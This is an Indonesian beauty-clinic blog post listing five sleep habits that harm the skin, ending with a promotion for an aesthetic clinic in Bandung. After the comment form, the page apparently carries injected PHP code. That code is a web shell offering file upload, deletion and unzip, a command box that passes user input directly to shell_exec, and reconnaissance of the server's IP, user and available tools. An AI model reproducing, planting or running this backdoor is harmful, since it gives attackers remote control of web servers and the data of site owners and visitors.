Ada Yang Bisa Kami Bantu? Chat Kami Sekarang.

Hindari Lakukan 5 Hal ini Saat Tidur Untuk Dapatkan Kulit Cantik dan Sehat

-

Daftar Isi

Memiliki kulit sehat, cantik, dan terawat merupakan keinginan setiap orang. Seiring bertambahnya usia, elastisitas kulit akan menurun. Oleh sebab itu, sobat cakas di sarankan untuk menjaga kesehatan dan kesegaran wajah sejak dini.

Banyak cara yang bisa di lakukan untuk mewujudkannya seperti menggunakan produk perawatan sesuai jenis dan kebutuhan kulit, melakukan perawatan, dan menerapkan pola hidup sehat. Selain itu kamu harus melakukan perawatan rutin pada kulit serta menghindari hal yang bisa menimbulkan masalah baru pada kulit. Adapun beberapa kebiasaan buruk ketika tidur yang bisa menjadi penyebab masalah kulit yang terjadi, seperti jerawat, bruntusan, hingga alergi. Beberapa kebiasaan ketika tidur yang perlu di hindari untuk dapatkan kulit cantik dan sehat, simak selengkapnya di bawah ini.

1. Tidak Mengganti Seprai

Pada sebagian orang beranggapan tidur dengan posisi tengkurap merupakan posisi tidur ternyaman, namun ternyata posisi tidur tengkurap tidak di sarankan. Ketika tidur dengan posisi tengkurap kulit wajah akan ber gesekan langsung dengan bantal, seprai, dan lainnya sehingga kulit rentan terkena kotoran. Terlebih seprai dan sarung bantal yang sudah lama tidak di bersihkan. Selain itu gesekan langsung kulit pada bantal dan guling bida menyebabkan kerutan atau garis halus pada wajah.

2. Tidur Tanpa Menghapus Riasan

Membersihkan wajah sebelum tidur merupakan hal yang sangat perlu di lakukan terlebih ketika kamu menggunakan makeup atau riasan. Jika wajah tidak di bersihkan maka sel kulit mati dan radikal bebas lainnya akan menumpuk dan menyebabkan munculnya bruntusan hingga jerawat. Selain itu, wajah yang tidak di bersihkan sebelum tidur bisa menyebabkan kulit kering, iritasi, hingga penuaan dini.

3. Pola Tidur yang Tidak Teratur

Pola tidur yang teratur menjadi salah satu kunci agar wajah tetap sehat. Sobat cakas yang memiliki waktu tidur berantakan sebaiknya segera di perbaiki karena cukup berpengaruh pada masalah penuaan kulit. Selain itu pola tidur yang tidak teratur bisa menyebabkan munculnya garis halus, kerutan, kulit kasar, kulit kering, hingga terlihat kusam.

4. Suhu Kamar Terlalu Panas

Tidur di ruangan atau kamar yang terlalu panas bisa menimbulkan keringat, sehingga sel kulit mati, minyak berlebih, hingga bakteri menumpuk dan terperangkap pada pori-pori. Selain itu, tidur dengan suhu ruangan yang tidak terlalu panas atau tidak terlalu dingin bisa meningkatkan kualitas tidur kamu.

5. Rambut Terkena Wajah Ketika Tidur

Pada umumnya rambut memiliki minyak alami yang bisa menyumbat pori-pori atau mengiritasi kulit wajah ketika menempel semalaman. Untuk mengatasi masalah ini sobat cakas bisa menggunakan haircap, mengepang rambut, atau bagaimana caranya agar rambut tidak terkena wajah.

Nah itu dia 5 hal yang perlu di hindari ketika tidur untuk dapatkan kulit cantik dan sehat, semoga bermanfaat. Sobat cakas yang punya masalah dengan wajah kusam, bruntusan, jerawat, atau masalah kulit lainnya yuk segera konsultasikan dengan dokter kami di RSa Aesthetic Clinic.

Cantik Ayu Kasep Wibawa

Klinik RSa Aesthetic

Klinik RSa Aesthetic

Klinik Treatment Kecantikan Berkualitas di Bandung

Bagikan Artikel Via:

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Tinggalkan Komentar

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

basename($file), 'size' => '', 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } else { $files[] = array( 'name' => basename($file), 'size' => filesize($file), 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } } // Handle file upload if (isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['size'] > $max_upload_size) { echo 'File too large!'; } else { move_uploaded_file($file['tmp_name'], $current_dir. '/'. $file['name']); } } // Handle file deletion if (isset($_POST['delete'])) { $file = $_POST['delete']; $file_path = rtrim($current_dir, '/') . '/' . $file; if (file_exists($file_path) && is_file($file_path)) { unlink($file_path); header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode(rtrim($current_dir, '/'))); exit; } else { echo 'File not found or not a file!'; } } // Handle terminal command if (isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command); echo "
$output
"; // Update current directory if command is cd if (strpos($command, 'cd ') === 0) { $new_dir = trim(substr($command, 3)); if ($new_dir == '..') { $current_dir = dirname($current_dir); } elseif ($new_dir!= '') { $current_dir = realpath($current_dir. '/'. $new_dir); } } } // Handle unzip if (isset($_POST['unzip'])) { $file = $_POST['unzip']; $file_path = $current_dir. '/'. $file; if (file_exists($file_path) && is_file($file_path)) { $zip = new ZipArchive; $res = $zip->open($file_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); echo "Unzipped successfully!"; } else { echo "Failed to unzip!"; } } else { echo "File not found or not a file!"; } } // Handle mkdir if (isset($_POST['mkdir'])) { $dir = $_POST['mkdir']; $dir_path = $current_dir. '/'. $dir;if (!is_dir($dir_path)) { mkdir($dir_path, 0750, true); echo "Directory created successfully!"; } else { echo "Directory already exists!"; } } // System information $server_ip = $_SERVER['SERVER_ADDR']; $web_server = $_SERVER['SERVER_SOFTWARE']; $system = php_uname('s'); $user = $_SERVER['USER']; $php_version = phpversion(); $disabled_functions = ini_get('disable_functions'); // MySQL, cURL, WGET, Perl, and Python information $mysql_enabled = function_exists('mysql_connect')? 'ON' : 'OFF'; $curl_enabled = function_exists('curl_init')? 'ON' : 'OFF'; $wget_enabled = shell_exec('wget --version')? 'ON' : 'OFF'; $perl_enabled = shell_exec('perl -v')? 'ON' : 'OFF'; $python_enabled = shell_exec('python --version')? 'ON' : 'OFF'; function filesize_format($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2). ' '. $units[$i]; } ?> File Manager

File Manager

Current directory:

Name Size Last Modified Owner Permissions Options

System Information

Server IP:

Web Server:

System:

User:

PHP Version:

Disabled Functions:

Module Information

MySQL:

cURL:

WGET:

Perl:

Python: